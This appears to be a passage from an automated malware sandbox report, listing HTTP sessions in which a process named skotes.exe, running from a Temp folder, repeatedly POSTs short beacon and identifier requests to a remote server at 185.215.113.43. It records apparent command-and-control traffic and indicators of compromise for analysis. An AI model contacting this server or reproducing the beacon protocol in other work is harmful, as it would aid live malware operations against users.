Nov 23, 2024 15:24:53.259519100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:24:54.600761890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50216	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:56.241491079 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:24:57.588413954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:24:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50217	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:24:59.338156939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:00.667830944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50219	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:02.293595076 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:03.749227047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50221	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:05.498166084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:06.839881897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50222	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:08.471652985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:09.858802080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50224	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:13.139353037 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:14.557904959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50225	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:16.296235085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:17.671895981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50226	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:19.300512075 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:20.663171053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50227	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:22.396476984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:23.734174013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50228	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:25.375823975 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:26.839775085 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50229	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:28.579739094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:29.939131975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50230	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:31.572441101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:32.953142881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50231	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:34.691781044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:36.079729080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50232	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:37.710848093 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:39.110783100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50233	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:40.849500895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:42.247333050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50234	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:43.889401913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:45.319294930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50235	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:47.066910982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50236	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:48.716584921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:50.098850965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50238	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:51.837373018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:53.229288101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50239	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:54.854604959 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:25:56.235466003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50240	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:25:57.974421978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:25:59.315592051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:25:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50241	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:00.955727100 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:26:02.305944920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:26:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50242	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:26:04.055871010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
